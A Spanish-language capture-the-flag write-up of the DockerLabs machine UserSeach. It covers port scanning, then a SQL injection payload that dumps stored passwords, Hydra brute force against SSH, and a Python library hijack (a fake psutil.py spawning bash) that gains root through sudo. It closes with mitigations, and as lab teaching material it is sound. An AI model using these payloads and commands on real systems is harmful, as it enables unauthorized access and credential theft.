Ir al contenido

UserSeach

Este documento detalla la resolución completa de la máquina UserSeach, desarrollada por kvzlx para DockerLabs y clasificada con un nivel de dificultad Medio.

El objetivo de este write-up es explicar de forma clara y ordenada el proceso de compromiso del sistema:

  1. Reconocimiento: Identificación de puertos y revisión del servicio web.
  2. Explotación: Obtención de usuarios y contraseñas mediante vulnerabilidad de SQL Injection y fuerza bruta en SSH.
  3. Escalada de privilegios: Abuso de permisos sudo y Python Library Hijacking para obtener acceso a root.

Todo el procedimiento se realizó en un entorno aislado proporcionado por DockerLabs.


AtributoValor
NombreUserSeach
Autorkvzlx
DificultadMedio
Fecha02/06/2024
PlataformaDockerLabs

Desplegamos la máquina con los siguientes comandos:

Ventana de terminal
unzip UserSeach.zip
sudo bash auto_deploy.sh UserSeach.tar

IP asignada


Ventana de terminal
mkdir -p UserSeach/{content,exploits,nmap,gobuster,scripts}
cd UserSeach

Realizamos un escaneo completo de puertos TCP:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.18.0.2 -oG allPorts
extractPorts allPorts

Puertos encontrados:

  • 22/tcp — SSH
  • 80/tcp — HTTP

Puertos abiertos


Realizamos un escaneo con Feroxbuster:

Ventana de terminal
feroxbuster -u http://172.18.0.2 -d 0 \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \
-x php,txt,html,js,bak,old \
-t 40 \
-C 404,403

El escaneo no reveló rutas interesantes; solo existe un formulario de búsqueda en la página principal:

content of index


2.1 Obtención de credenciales mediante SQL Injection

Sección titulada «2.1 Obtención de credenciales mediante SQL Injection»

Al probar el usuario admin en el formulario, el sistema nos devuelve su password directamente:

find admin

Como la entrada es reflejada en la página, es razonable sospechar de SQL Injection. Probamos un bypass básico:

admin' OR 1=1; -- -

Se listan tres usuarios válidos con sus contraseñas:

sqli

También se probó con sqlmap, pero no se obtuvieron más datos aparte de estos tres usuarios.

Guardamos los datos en archivos para usar como diccionario:

Ventana de terminal
echo -e "..." > users.txt
echo -e "..." > passwords.txt

Con estos diccionarios ejecutamos Hydra:

Ventana de terminal
hydra -L users.txt -P passwords.txt ssh://172.18.0.2

Resultados:

hydra result

Con esto obtenemos credenciales válidas para SSH:

Ventana de terminal
ssh kvzlx@172.18.0.2

ssh connect


Listamos capacidades sudo:

sudo -l

El usuario puede ejecutar:

(ALL) /usr/bin/python3 /home/kvzlx/system_info.py

Revisamos el script:

content of script

El archivo importa la librería psutil, por lo que podemos realizar un ataque de Python Library Hijacking: si creamos un archivo psutil.py en el mismo directorio desde donde ejecutamos el script, Python cargará nuestra versión maliciosa antes que la real.

Creamos la librería falsa:

Ventana de terminal
echo 'import os; os.system("/bin/bash")' > psutil.py

Ejecutamos el script con sudo:

Ventana de terminal
sudo /usr/bin/python3 /home/kvzlx/system_info.py

Automáticamente obtenemos una shell como root:

id root


  • Validación deficiente en el formulario, permitiendo SQL Injection.
  • Exposición directa de usuarios y contraseñas.
  • Reutilización de credenciales en múltiples servicios.
  • Permisos sudo mal configurados, permitiendo la ejecución de scripts en Python sin restricciones.
  • Uso inseguro de librerías en Python que permite Library Hijacking.

  • Implementar validación y sanitización de entradas en formularios.
  • Evitar mostrar contraseñas o información sensible en respuestas del servidor.
  • Deshabilitar el listado directo de usuarios mediante consultas inseguras.
  • Evitar reutilizar credenciales entre servicios.
  • Configurar sudo siguiendo el principio de mínimo privilegio.
  • Usar rutas absolutas y entornos virtuales controlados en scripts Python para evitar hijacking de librerías.